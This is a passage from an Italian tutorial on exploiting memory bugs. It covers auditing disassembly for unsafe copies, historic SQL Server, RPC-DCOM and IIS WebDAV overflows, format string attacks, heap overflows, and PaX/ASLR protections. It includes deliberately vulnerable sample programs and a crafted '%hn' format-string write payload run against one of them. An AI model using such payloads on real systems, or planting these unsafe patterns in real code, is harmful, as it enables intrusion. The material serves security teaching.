Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 57 di 193

- Construtti di classe

I construtti delle classi sono piuttosto complessi. Il modo più semplice di procedere è cercare

il costruttore ed il distruttore della classe.

Generalmente il costruttore è una funzione ove non ci sono iterazioni condizionali, ma solo una

serie di istruzioni per l'allocazione di variabili. Il distruttore, a sua volta, è una funzione

che tipicamente libera semplicemente la memoria allocata precedentemente dal costruttore.

- Vtables virtual function

Queste chiamate sono presenti solitamente nei costruttori e rendono l'operazione di auditing

molto complicata.

Le istruzioni tipiche che si trovano sono:

mov eax, [esi] // Puntatore this in EAX

lea ecx, [ebp+var_8]

push ebx

push ecx

mov ecx, esi

push [ebp+arg_0]

push [ebp+var_4]

call dword ptr [eax+24h] // Chiamata

In ESI è contenuto il puntatore this, alcune funzioni sono chiamate da vtable. Per scoprire dove

va questa funzione dobbiamo conoscere la struttura di vtable. Questa è solitamente presente nel

costruttore della classe. Ad esempio il seguente codice si può trovare nel costruttore:

mov dword ptr [esi], offset vtable

Dopo aver visto tutti i costrutti principali, ricordo che abbiamo affrontato il caso peggiore,

ovvero della compilazine di sorgenti in C e C++ mentre come già detto, la compilazione di

sorgneti in linguaggi come Visual Basic produce un assembly più facile da capire.

Infine vediamo alcune normi importanti da ricordare mentre si esegue l'auditing del codice:

+ Il registro utilizzato per il valore di ritorno di una funzione è sempre EAX.

+ Le istruzioni di salto delle famiglie JL/JG sono usate dopo confronti di variabili con segno.

+ Le istruzioni di salto delle famiglie JB/JA sono usate dopo confronti di variabili senza

segno.

+ MOVSX estende il valore del registro di destinazione da 8 a 16 oda 16 a 32 mettendo degli 0 o

1 a seconda del segno

Nonostante i nostri sforzi per comprendere il flusso ed i costrutti presenti nel programma

osservato, può accadere che la ricostruzione eseguita dal disassemblatore non sia

sufficientemente chiara per ritrovare gli esempi fatti fino ad ora. In questo caso è meglio

ricorrere all'approccio più elementare, ovvero passare all'analisi diretta delle syscall ove è

più probabile trovare i problemi. Come già detto, generalmente queste funzioni sono strcpy(),

strcat(), sprintf() e derivate. In più su windows esistono tutta una serie di funzioni molto

simili a queste che differiscono leggermente come nome, tutte devono essere monitorate.

Un'altra comune vulnerabilità di windows è quella dovuta al sesto argomento della funzione

MultiByteToWideChar. Per capire meglio vediamone la sintassi:

int MultiByteToWideChar(uCodePage, dwFlags, lpMultiByteStr,

cchMultiByte, lpWideCharStr, cchWideChar)

UINT uCodePage; /* codepage */

DWORD dwFlags; /* character-type options */

LPCSTR lpMultiByteStr; /* address of string to map */

Page 58: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 58 di 193

int cchMultiByte; /* number of characters in string */

LPWSTR lpWideCharStr; /* address of wide-character buffer */

int cchWideChar; /* size of wide-character buffer */

La funzione converte una stringa standard in una stringa di caratteri unicode. (wide-character)

"size-wide character buffer" specifica il numero di wide-character di cui il buffer di

destinazione è composto. NON la dimensione in byte.

Un errore classico è passare come sesto argomento sizeof(). Il parametro richiesto non è la

dimensione totale del buffer.

E' evidente il problema. Un carattere "wide" è di 2 byte, mentre uno normale è un solo byte.

Quindi la quantità di byte finali copiati sono il doppio del normale. Quindi lo stack viene

sovrascritto di tanti byte tanto quanti sono gli elementi "wide" del buffer.

Probabilmente osservando semplicemente le chiamate syscall presenti nel codice è raro trovare un

evidente problema di sicurezza.

Il metodo da adottare è la pate fondamentale al di là delle nostre conoscenze sull'assembly. Uno

dei punti più importanti è stabilire un "entry point" della nostra sessione di auditing.

Per punto di ingresso intendo un momento durante l'esecuzione del programma in cui vale la pena

cominciare ad osservarne il codice passo passo durante la sua esecuzione.

Nella maggior parte dei casi il punto ideale per questo entry-point è la dove il programma

accetta un input dall'esterno.

Anni fa il teamwork di sviluppo di EYE (il software di scansione) bombardò Micosoft IIS 5.0 in

tutti i punti dove esso accetta un input con stringhe composte dal carattere 'A'.

Il risultato fu che IIS ad un certo punto andò in blocco. Indagando nella memoria si scopri che

nel momento del blocco il registro

EIP conteneva il valore "0x41414141". Ovvero la codifica esadecimale di 'A'. Lo stack era stato

sovrascritto andando a coprire la locazione di memoria ove era memorizzato un indirizzo di

ritorno.

Molte funzioni sono però molto complesse per poter essere capite correttamente leggendone il

disassemblato. In aiuto giungono alcuni software come IDA Pro. Questo possiede una funzionalità

in grado di produrre dei grafici costituiti da frammenti di codice che mostrano la funzioni

gerarchicamente.

Vediamo alcuni esempi. (da "shellcoder's handbook")

- MS SQL Server bug

Il problema in questione è stato scoperto da Litchfield David, è legato ad una sprintf() non

controllata all'interno di una routine che processa una pacchetto proveniente dalla rete.

mov edx, [ebp+var_24C8]

push edx

push offset aSoftwareMic_17 ; “SOFTWARE\\Microsoft\\Microsoft SQL Server”...

push offset aSSMssqlserverC ; “%s%s\\MSSQLServer\\CurrentVersion”

lea eax, [ebp+var_84]

push eax

call ds:sprintf

add esp, 10h

Dove:

var_24C8 identifica un buffer che contiene dati di un pacchetto ricevuto.

var_84 identifica invece un buffer da 128 bytes.

Ciò che accade è piuttosto ovvio, i dati di un pacchetto possono raggiungere anche i 1024 bytes,

mentre il buffer di destinazione è molto più piccolo.

- SQL Server "Hello" vulnerability

Page 59: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 59 di 193

Questo è il caso classico di strcpy()

mov eax, [ebp+arg_4]

add eax, [ebp+var_218]

push eax

lea ecx, [ebp+var_214]

push ecx

call strcpy

add esp, 8

Dove:

var_214 è un buffer da 512 bytes.

la stringa sorgente è semplicemente un pacchetto dati.

- LSD's RPC-DCOM vulnerability

Una implentazione di strcpy() con controlli insufficienti.

Lo spezzone di codice è adibito al parsing dei percorsi UNC.

mov ax, [eax+4]

cmp ax, ‘\‘

jz short loc_761AE698

sub edx, ecx

loc_761AE689:

mov [ecx], ax

inc ecx

inc ecx

mov ax, [ecx+edx]

cmp ax, ‘\‘

jnz short loc_761AE689

Il formato dei percorsi UNC è: "\\server\share\path". La funzione salta i primi 4 bytes,

saltando "\\". Poi copia la restante parte dentro un buffer di destinazione fino a che non viene

incontrato un backslash di terminazione.

La vulnerabilità è piuttosto ovvia, dato che potremmo inviare una stringa arbitraria verso il

server.

- IIS WebDAV vulnerability

WebDAV è una raccolta di metodi HTTP nata con lo scopo di rendere possibile la scrittura, oltre

che la lettura, di file presenti nei web server.

WebDAV permette ad esempio di modificare una pagina WEB, o condividere materiale rendendolo

subito disponibile.

La vulnerabilità in questione non è banale. Occorre molto tempo e pratica nel code auditing per

identificare bug di questo genere.

Il problema si presenta durante il passaggio di una stringa più lunga di 64K alla funzione

RtlDosPathNameToNtPathName_U().

La struttura dati di una stringa unicode o ANSI è la seguente:

typedef struct UNICODE_STRING {

unsigned short length;

unsigned short maximum_length;

wchar *data;

};

Nel dettaglio si tratta di un problema con una variabile di 16 bit senza segno.

Page 60: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 60 di 193

Se la stringa passata supera i 65.535 caratteri di lunghezza la variabile a 16 bit risulta

inadeguata a contenere il valore length, che diverrà molto piccolo.

Questo non dovrebbe esservi nuovo come problema perchè già visto.

Ammettiamo di passare alla funzione una stringa lunga 66.000 caratteri. (66.000 bytes)

66.000 --> 0001 1101 0000 contro il massimo valore rappresentabile con 16 bit:

65.535 --> 0000 1111 1111 si ha un troncamento:

\\\\ 1101 0000 --> 208

La struttura UNICODE_STRING conterrà una stringa di 66 KB ed il suo campo length settato a 208.

Ben 65.792 bytes in meno.

La sua iniziazzione avviene con il codice seguente appartenenete alla funzione

RtlInitUnicodeString:

mov edi, [esp+arg_4]

mov edx, [esp+arg_0]

mov dword ptr [edx], 0

mov [edx+4], edi

or edi, edi

jz short loc_77F83C98

or ecx, 0FFFFFFFFh

xor eax, eax

repne scasw

not ecx

shl ecx, 1

mov [edx+2], cx // possible truncation here

dec ecx

dec ecx

mov [edx], cx // possible truncation here

Il valore length viene calcolato dall'istruzione "repne scasw" poi moltiplicato per due e

sistemato in un registro a 16 bit.

Proseguendo verso la chiamata a RtlDosPathNameToNtPathName_U troviamo:

mov dx, [ebp+var_30]

movzx esi, dx

mov eax, [ebp+var_28]

lea ecx, [eax+esi]

mov [ebp+var_5C], ecx

cmp ecx, [ebp+arg_4]

jnb loc_77F8E771

In questo spezzone var_28 è la lunghezza di un'altra stringa, e var_30 è la lunghezza della

struttura della string unicode detta prima (con il valore troncato a 16 bit).

Se la somma delle due stringhe è minore di arg_4, (lunghezza buffer destinazione) allora le due

stringhe vengono copiate nel buffer di destinazione, il quale è stato precedentemente allocato

nello stack.

Siccome una delle due stringhe è significativamente più lunga della dimensione del buffer di

destinazione, avviene una sovrascrittura dello stack.

Il ciclo che si occupa di copiare la stringa è facilmente riconoscibile ed è tra quelli standard

che implementano strcpy().

mov [ecx], dx

add ecx, ebx

mov [ebp+var_34], ecx

add [ebp+var_60], ebx

loc_77F8AE6E:

Page 61: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 61 di 193

mov edx, [ebp+var_60]

mov dx, [edx]

test dx, dx

jz short loc_77F8AE42

cmp dx, ax

jz short loc_77F8AE42

cmp dx, ‘/‘

jz short loc_77F8AE42

cmp dx, ‘.’

jnz short loc_77F8AE63

jmp loc_77F8B27F

Molto probabilmente questa parte di codice è un buon punto di partenza da dove partire con

l'indagine.

Attraverso questa vulnerabilità è possibile sovrascrivere di molti bytes lo stack, quindi il

thread crasherà e verrà chiamata la routine SEH (exception handler) sovrascritta dal contenuto

di buffer, che se preparato a dovere conterrà l'indirizzo del presunto entry point di una

funzione.

0x0c] Bugs relativi al formato delle stringhe

Up

Il seguente programma stampa a video tutti i possibili caratteri esadecimali:

#include <stdio.h>

void main(void)

{

int c;

printf("Decimal hex character\n\

---------------------\n");

for(c=0x20;c<256;c++){

printf(" %03d 0x%02x %c\n",c,c,c);}

return;

}

Oltre a fornire un comodo metodo per avere sottomano tutti i simboli ASCII, il programma

illustra il funzionamento delle funzioni della famiglia di printf(), ovvero quelle aventi tra i

loro argomenti, il tipo di formattazione richiesta, la stringa di formato. Una funzione come

printf è apparentemente innocua.

I problemi relativi alla formattazione delle stringhe, soprattutto quando sono fornite

dall'utente è una delle categorie più pericolose.

Le seguenti sono funzioni ipoteticamente affette da problemi di questo tipo:

printf

fprintf

sprintf

snprintf

vfprintf

vprintf

vsprintf

vsnprintf

Dove si trova esattamente il punto?

Page 62: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 62 di 193

Se analizziamo la sintassi e il modo in cui printf() viene chiamata dal punto di vista dello

stack, scopriamo alcuni fatti interessanti.

.text:

00401347 |. 894424 04 |MOV DWORD PTR SS:[ESP+4],EAX ; |

0040134B |. C70424 2D3040>|MOV DWORD PTR SS:[ESP],FormatSt.0040302D ; |ASCII " %03d

0x%02x %c"

00401352 |. E8 79050000 |CALL <JMP.&msvcrt.printf> ; \printf

Ecco la situazione dello stack al momento della chiamata a printf():

0022FF50 0040302D |format = " %03d 0x%02x %c" <--- Stringa di formato

0022FF54 00000020 |<%03d> = 20 (32.) <--- Argomenti ...

0022FF58 00000020 |<%02x> = 20

0022FF5C 00000020 \<%c> = 20 (' ')

I registri:

EAX 00000020

ECX 77C118BF msvcrt.77C118BF

EDX 77C31B78 msvcrt.77C31B78

EBX 7FFD9000

ESP 0022FF50

EBP 0022FF78

ESI FFFFFFFF

EDI 7C920228 ntdll.7C920228

EIP 00401352 FormatSt.00401352 <--- chiamata a printf

Gli argomenti vengono passati tramite lo stack.

Che cosa farà dunque printf? Invierà su stdout il contenuto di memoria puntato dal suo secondo

argomento, in questo caso una variabile che si trova in una data posizione in memoria, per

l'esattezza nello stack, uttilizzando un formato definito dal primo argomento.

A fronte di questa considerazione, prendiamo in analisi quast'altro programma:

#include <stdio.h>

int main(int argc, char**argv)

{

/*

* This program show a problem with printf format string,

* Pass to command line any format string type for achieve particular printf function

beahavior.

* For example:

* ./fmt "0x%X 0x%X 0x%X"

*/

if(argc!=2) {

printf("Error - supply a format string please\n");

return -1;

}

printf(argv[1]);

printf("\n");

return 0;

Page 63: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 63 di 193

}

eseguiamo passando come argomento la stringa di formato: "0x%08x 0x%08x 0x%08x 0x%08x".

Output:

0xcd06a611 0x00401360 0x00401315 0x6ffb5bbc

E' come se avessimo eseguito printf in questo modo: "printf(%x %x %x %x);"

Non inserendo tutti gli argomenti di printf(), questa non può accorgersene e stampa esattamente

quello che si trova nella posizione prevista.

Ovvero: ESP+4, ESP+8, ESP+12, ESP+16.

Possiamo in questo modo stampare elementi provenienti dallo stack.

Questa particolarità di printf può essere intelligentemente sfruttata:

root@HackLab:~# ./a.out $(python -c "print ('%X' * 100)")

8049FF4BFBD3A58BFBD3A60B8064F50BFBD3A60BFBD3AB8B7EF868580484A08048370BFBD3AB8B7EF86852BFBD3AE4BF

BD3AF0B8056BB81108048265B803BFF480484A08048370BFBD3AB8FF54C0755A2C9465000B806A090B7EF85ADB8072FF

4280483700804839180484242BFBD3AE480484A08048490B8064F50BFBD3ADCB806FAAA2BFBD5564BFBD556C0BFBD563

5BFBD5652BFBD5666BFBD5679BFBD5689BFBD5694BFBD56E4BFBD5739BFBD5781BFBD5795BFBD57A7BFBD57B7BFBD57C

BBFBD57E1BFBD57EBBFBD581ABFBD5C43BFBD5C70BFBD5CA2BFBD5CCFBFBD5CFABFBD5D23BFBD5D37BFBD5DE0BFBD5E1

5BFBD5E1FBFBD5E26BFBD5E38BFBD5E51BFBD5E78BFBD5E80BFBD5E8BBFBD5EA1BFBD5EAEBFBD5F10BFBD5F3BBFBD5F5

BBFBD5F68BFBD5F75BFBD5FA0BFBD5FC2BFBD5FCDBFBD5FEA020FFFFE41421FFFFE0001078BFBFF6100011

Passando un indrizzo al programma è possibile stamparne a video il contenuto.

Ora, pensiamo alla stringa di formato di printf() "%n".

%n setta in una variabile il numero di caratteri inviati su stdout dalla chiamata stessa fino a

quel momento. Quale possa essere oggi la sua utilità nello sviluppo non so, so però che ci

fornisce l'opportunità di scrivere nello stack. Ora si tratta solo di usarla in un modo furbo.

Anni fa sarebbe stato possibile utilizzare printf per andare ad inserire qualsiasi valore in

qualsiasi posizione dello stack dopo l'indirizzo corrispondente agli argomenti.

Ad esempio:

root@HackLab:~# ./a.out $(printf "\x96\x97\x04\x08\x94\x97\x04\x08")%49143x%4\$hn%15731x%5\ $hn

La stringa passata come argomento sembra senza significato ma se analizzata con calma ci

accorgiamo di alcune cose:

$(printf "\x96\x97\x04\x08\x94\x97\x04\x08")

Sono due indirizzi di memoria scritti al contrario 0x08049794 e 0x08049794

%49143x

Non esegue operazioni di stampa ma incrementa %n di 49143 che con i precedenti arriva a 49143+8

= 49151

%4\$hn

$ accede direttamente al parametro successivo, ovvero hn che sarà l'n byte scritto con h che

identifica (scriverà) uno short anzichè un int.

%15731x

Altri byte, 49151 + 15731 + 4 = 64890

x%5\ $hn

stesso discorso fatto prima.

Page 64: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 64 di 193

Non perdiamo altro tempo per questo concetto dato che se ancora esistono molti sistemi dotati di

kernel inferiori al 2.4 questi non sono più la maggior parte e sono in forte diminuzione. Mentre

la maggior parte usa i nuovi kernel, quindi dal 2.4 in su, questi hanno sistemi di protezione

della memoria che riarrangiano lo stack mescolandone secondo un dato criterio gli elementi e

modificano ad ogni escuzione di un dato programma il suo layout di indirizzi virtuali. Pertanto

non abbiamo più a disposizione nessun riferimento.

In conclusione, un bug relativo alle stringhe di formato capita quando un dato fornito

dall'utente è incluso nella stringa che specifica il formato di una delle funzioni appartenenti

alla famiglia di printf. L'attaccante fornisce un numero di specificatori di formato che non

hanno corrispondenti argomenti nello stack, quindi al loro posto vengono utilizzati valori che

si trovano nello stack nelle previste posizioni.

Rimane comunque una vulnerabilità nella maggior parte dei casi locale.

0x0d] Bugs relativi all'allocazione nello heap

Up

Rimanendo in ambiente linux, introduciamo le vulnerabilità legate allo heap. Che cosè lo heap?

Come saprete oltre lo stack già citato, un processo ha a disposizione anche un'altra regione di

memoria per l'allocazione di variabili, questo viene appunto chiamato heap. Su linux la sezione

per allocare variabili non inizializzate è la .bss, mentre la sezione .data viene utilizzata per

quelle inizializzate. Ad esempio la seguente dichiarzione alloca bytes nella sezione .data:

char*buffer = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

int main() {

...

Utilizzare una regione di memoria diversa dallo stack per allocare variabili e strutture è

conveniente oltre che necessaria per vari motivi; in primo luogo lo stack viene utilizzato

principalmente per memorizzare indirizzi di chiamate a funzioni effettuate, pertanto è bene non

occupare questa area di memoria con variabili, che possono raggiungere anche centinaia di byte.

In secondo luogo, utilizzando lo heap un ipotetico attacco verso le variabili darebbe meno

possibilità all'attaccante.

Le chiamate di sistema incaricate all'allocazione di memoria nello heap, detta "dinamica", sono

brk() e mmap(), utilizzate da malloc() ad esempio.

Esistono però anche una serie di controindicazioni nell'uso dello heap. Quando malloc riserva

spazio per le variabili utente, tiene traccia della richiesta, dei byte allocati e di altre

informazioni sistemandole in due posti, in alcune variabili globali utilizzate

dall'implementazione stessa di malloc(), e in un blocco di memoria prima e dopo lo spazio

allocato. In questo modo, come per lo stack overflow, anche l'heap overflow può potenzialmente

sovrascrivere locazioni di memoria critiche.

Alcuni esempi di bug legati all'allocazione incontrollata:

memcpy(array[user_supplied_int], user_supplied_buffer, user_supplied_int2);

buf=malloc(user_supplied_int+1);

memcpy(buf,user_buf,user_supplied_int);

buf=malloc(strlen(user_buf+5));

strcpy(buf,user_buf);

buf=(char **)malloc(BUF_SIZE);

Page 65: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 65 di 193

while (user_buf[i]!=0) {

buf[i]=malloc(strlen(user_buf[i])+1);

i++;

}

buf=malloc(1024);

strcpy(buf,user_supplied);

buf=malloc(sizeof(something)*user_controlled_int);

for (i=0; i<user_controlled_int; i++) {

if (user_buf[i]==0)

break;

copyinto(buf,user_buf);

}

Ora, come per lo stack anche lo heap abbiamo detto contiene sia variabili fornite dall'utente,

sia informazioni di sistema legate all'allocazione stessa. malloc() recupera uno grosso blocco

di memoria dall'heap e divide questo in blocchi, all'utente restituisce uno di questi blocchi

quando viene richiesto. free(), quando viene chiamata può decidere se prendere il blocco da

liberare, e potenzialmente unirlo con lo spazio libero (altri blocchi) contiguo. Quello che è

possibile fare è manipolare le funzioni malloc() o free()...

Forniamoci del sorgente che segue, se non l'avete già notato questo contiene un bug da heap

overflow molto banale.

/*notvuln.c*/

int

main(int argc, char** argv) {

char *buf;

buf=(char*)malloc(1024);

printf("buf=%p",buf);

strcpy(buf,argv[1]);

free(buf);

}

Vediamo innanzi tutto come trovare la lunghezza di buffer senza partire dal sorgente ma da gdb,

ad esempio nel caso in cui non disponiamo dei sorgenti.

La lughezza del buffer allocato è sistemata contiguamente ad esso nello heap:

...

(gdb) x/xw buf-4

0x804b004: 0x00000409

...

Come vedete 0x409 (1024) è la dimensione dello spazio allocato, capite bene che in situazioni

dove la dimensione delle stringhe non è controllata è possibile sovrascrivere questi valori,

magari di altri buffer. Non è necessario che la chiamata a malloc() viene eseguita, il valore è

già sistemato nello heap prima, dato che il valore è deciso a priori.

Il problema del programma appena visto, non è in realtà così critico come sembra (date anche le

limiate operazioni compiute dal programma), infatti la copia incontrollata andrebbe si a

sovrascrivere porzioni di heap ma nussuna locazione utile ai nostri scopi.

Prendiamo ora in esame un'altro bug:

/*basicheap.c*/

int

main(int argc, char** argv) {

Page 66: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 66 di 193

char *buf;

char *buf2;

buf=(char*)malloc(1024);

buf2=(char*)malloc(1024);

printf(“buf=%p buf2=%p\n”,buf,buf2);

strcpy(buf,argv[1]);

free(buf2);

}

In questa versione sono presenti due allocazioni una di seguito all'altra. Quando la funzione

strcpy() viene chiamata, questa consente di copiare contiguamente a buf una stringa fornita in

input. Ora, rammentate che lo heap cresce in maniera opposta allo stack, quindi capite che

l'invio di una stringa più grande di alcuni bytes della dimensione di buf vanno a sovrascrivere

la struttura che contiene informazioni riguardo lo spazio allocato per buf2. Di conseguenza la

chiamata a free() si ritroverà dati non validi per operare sullo heap:

matteo@matteo2:~$ ltrace ./a.out `perl -e 'print "A" x 5000'`

__libc_start_main(0x8048484, 2, 0xbfce6184, 0x8048500, 0x80484f0 <unfinished ...>

malloc(1024) = 0x08757008

malloc(1024) = 0x08757410

printf("buf=%p buf2=%p\n", 0x8757008, 0x8757410buf=0x8757008 buf2=0x8757410

) = 29

strcpy(0x08757008, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 0x08757008

free(0x08757410 <unfinished ...>

--- SIGSEGV (Segmentation fault) ---

+++ killed by SIGSEGV +++

Ma capiamo esattamente come è organizzata la memoria nello heap, ovvero cosa sono e come sono

strutturari i chunk. Questo abbiamo detto è un blocco di memoria situato nello heap, ma

contiguamente ad esso abbiamo appena visto vi sono altre informazioni. Bene queste informazioni

sono mantenute in una struttura, la seguente: (definita in sys/malloc/malloc.c)

struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */

INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */

struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */

struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */

struct malloc_chunk* bk_nextsize;

};

Questa trattazione sullo heap ci dovrebbe bastare per scovare potenziali problemi relativi alla

allocazione dinamica nei programmi.

0x0e] (Arch: LINUX) - exploit oggi, PaX e StackGuard

Up

Ciò che abbiamo visto nei capitoli precedenti è una "passeggiata di salute" in confronto a ciò

che è necessario sapere e fare al giorno d'oggi per poter effettuare una operazione similare a

quella appena vista. Negli anni 90 qualsiasi informatico capace, con un pò di sforzo poteva

arrivare a fare quello che abbiamo appena visto nell'esempio e prendere il controllo di una

macchina remota se in possesso di una vulnerabilità di quel tipo.

Negli ultimi anni del millennio presero vita diversi progetti con l'obiettivo comune di rendere

molto più difficile la vita ad hacker e co.

A parte i controlli fatti dal programmatore non abbiamo visto nessun altro check sulla memoria

Page 67: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 67 di 193

fatto in autonomia dal sistema.

D'ora in poi darò per scontato molte delle cose che prima abbiamo affrontato più nel dettaglio.

Si presuppone che queste siano state tutte acquisite in modo più che soddisfacente.

Cominciamo...

PaX

L'obiettivo del progetto PaX è la ricerca e lo sviluppo di un sistema di sicurezza riguardo gli

exploit di errori software che consentono di eseguire codice arbitrario da parte di un

attaccante. Questo viene fatto attraverso varie precauzioni.

La prima adottata è la marcatura dello stack di memoria del processo come non eseguibile.

Pertanto su un kernel 2.6.30 vedremo:

root@HackLab:~# cat /proc/self/maps

08048000-0804f000 r-xp 00000000 03:01 1359890 /bin/cat

...

b8014000-b8015000 r--p 0001a000 03:01 843797 /lib/ld-2.8.90.so

b8015000-b8016000 rw-p 0001b000 03:01 843797 /lib/ld-2.8.90.so

bfe00000-bfe15000 rw-p 00000000 00:00 0 [stack] << --- x?

ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]

Come vedete l'area di stack non è marcata come eseguibile. Quando tenteremo di saltare a livello

di esecuzione su un indirizzo di stack ci verrà

riportato un errore SIGSEGV. Questa protezione è molto efficace. In questo modo il massimo che

si può fare è provocare il crash del programma o del sistema.

Brevemente, l'operazione di marcatura come non eseguibile viene fatta all'atto di creazione del

processo attraverso la syscall mprotect() Questa decide se la parte di memoria da mappare ha

necessità di essere scritta / letta o eseguita. Si può guardare direttamente il sorgente

mm/mprotect.c per maggiori informazioni al riguardo.

La seconda caratteristica introdotta da PaX è la randomizzazione del layout di indirizzi

virtuali del processo (ASLR). Questo disturba ulteriormente il nostro lavoro. Una delle cose che

tanto abbiamo detto essere di cruciale importanza sapere è dove si troveranno certi indirizzi

all'interno dello stack.

Con questo sistema non è più possibile prevedere nel modo classico l'indirizzo che troveremo

nello stack. Al momento della rilocazione dell'eseguibile in memoria, gli indirizzi virtuali

sono randomizzati. Le carte in tavola vengono mischiate. Sulla documentazione ufficiale del

progetto PaX viene riportata anche una minuziosa valutazione delle probabilità di successo dopo

questa randomizzazione. L'implementazione di questo sistema si basa sulla generazione dei VA con

il device random o sul tempo di sistema.

Pensiamo all'esempio del capitolo precedente. Non solo la sovrascrittura dello stack con

l'indirizzo di buffer è inefficace, ma anche se avessimo indovinato tale locazione, la nostra

shellcode non sarebbe stata eseguita e il thread del server sarebbe terminato con SIGSEGV.

In ordine di essere un pò più esaurienti, diamo un occhio a come i processi vengono rilocati con

VA diversi ad ogni esecuzione, possiamo usare questo comando per due o più volte:

- Kernel version: 2.6.30

root@HackLab:~# cat /proc/self/maps

08048000-0804f000 r-xp 00000000 03:01 262162 /bin/cat

0804f000-08050000 r--p 00006000 03:01 262162 /bin/cat

08050000-08051000 rw-p 00007000 03:01 262162 /bin/cat

08e82000-08ea3000 rw-p 00000000 00:00 0 [heap]

b7d9d000-b7ef5000 r-xp 00000000 03:01 1123591 /lib/tls/i686/cmov/libc-2.8.90.so

b7ef5000-b7ef7000 r--p 00158000 03:01 1123591 /lib/tls/i686/cmov/libc-2.8.90.so

Page 68: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 68 di 193

b7ef7000-b7ef8000 rw-p 0015a000 03:01 1123591 /lib/tls/i686/cmov/libc-2.8.90.so

b7ef8000-b7efb000 rw-p 00000000 00:00 0

b7f10000-b7f12000 rw-p 00000000 00:00 0

b7f12000-b7f2c000 r-xp 00000000 03:01 1084390 /lib/ld-2.8.90.so

b7f2c000-b7f2d000 rw-p 00000000 00:00 0

b7f2d000-b7f2e000 r--p 0001a000 03:01 1084390 /lib/ld-2.8.90.so

b7f2e000-b7f2f000 rw-p 0001b000 03:01 1084390 /lib/ld-2.8.90.so

bf9f3000-bfa08000 rw-p 00000000 00:00 0 [stack]

ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]

root@HackLab:~# cat /proc/self/maps

08048000-0804f000 r-xp 00000000 03:01 262162 /bin/cat

0804f000-08050000 r--p 00006000 03:01 262162 /bin/cat

08050000-08051000 rw-p 00007000 03:01 262162 /bin/cat

086c5000-086e6000 rw-p 00000000 00:00 0 [heap]

b7e15000-b7f6d000 r-xp 00000000 03:01 1123591 /lib/tls/i686/cmov/libc-2.8.90.so

b7f6d000-b7f6f000 r--p 00158000 03:01 1123591 /lib/tls/i686/cmov/libc-2.8.90.so

b7f6f000-b7f70000 rw-p 0015a000 03:01 1123591 /lib/tls/i686/cmov/libc-2.8.90.so

b7f70000-b7f73000 rw-p 00000000 00:00 0

b7f88000-b7f8a000 rw-p 00000000 00:00 0

b7f8a000-b7fa4000 r-xp 00000000 03:01 1084390 /lib/ld-2.8.90.so

b7fa4000-b7fa5000 rw-p 00000000 00:00 0

b7fa5000-b7fa6000 r--p 0001a000 03:01 1084390 /lib/ld-2.8.90.so

b7fa6000-b7fa7000 rw-p 0001b000 03:01 1084390 /lib/ld-2.8.90.so

bfa26000-bfa3b000 rw-p 00000000 00:00 0 [stack]

ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]

Riferendoci alla prima videata,

In questa versione di kernel, ecco come un processo utente viene mappato in memoria; la

mappatura parte sempre dall'indirizzo 0x08048000. A questa locazione troviamo il segmento .text,

all'indirizzo successivo troviamo il segmento .bss, notiamo subito che questo non è eseguibile.

Qualcosa di più interessante si trova all'indirizzo 0x08e82000 è lo heap, notate l'indirizzo di

questo cambia alla successiva esecuzione del comando.

Agli indirizzi successivi sono mappate le libc, su linux tali ibrerie vengono mappate in ogni

processo che ne ha bisogno, rappresentano l'interfaccia utente con il kernel oltre altre

funzioni. Anche questi indirizzi sono randomizzati.

Le due regioni successive sono invece inutilizzate.

Proseguendo troviamo le librerie dinamiche di Linux, queste contengono varie funzioni utilizzate

dal linker e sono indispensabili per poter fornire altre librerie a runtime, ad esempio le libc

appena citate.

Finalmente troviamo lo stack, che sapete a cosa serve, questo non è marcato come eseguibile.

Al prossimo indirizzo troviamo un'altra libreria dinamica necessaria all'eseguibile [vdso] o

chiamata anche "Linux-gate". Molti exploit hanno sfruttato il fatto che questa libreria viene

sempre allocata allo stesso indirizzo per effettuare un tipo di attacco simile all'esempio

chiamato "Return-To-Libc" per motivi che vedremo. Questo fino alla successiva versione del

kernel, dove il problema è stato risolto effettuando la randomizzazione anche di questa regione

di processo.

Infattti spostiamoci su una macchina con versione kernel successiva, diamo la stessa serie di

comandi:

- Kernel version: 2.6.32

matteo@Moon:~$ cat /proc/self/maps

00261000-003b4000 r-xp 00000000 08:01 875353 /lib/tls/i686/cmov/libc-2.11.1.so

003b4000-003b5000 ---p 00153000 08:01 875353 /lib/tls/i686/cmov/libc-2.11.1.so

003b5000-003b7000 r--p 00153000 08:01 875353 /lib/tls/i686/cmov/libc-2.11.1.so

003b7000-003b8000 rw-p 00155000 08:01 875353 /lib/tls/i686/cmov/libc-2.11.1.so

Page 69: System exploitation using buffer overflow

System exploitation using buffer overflow

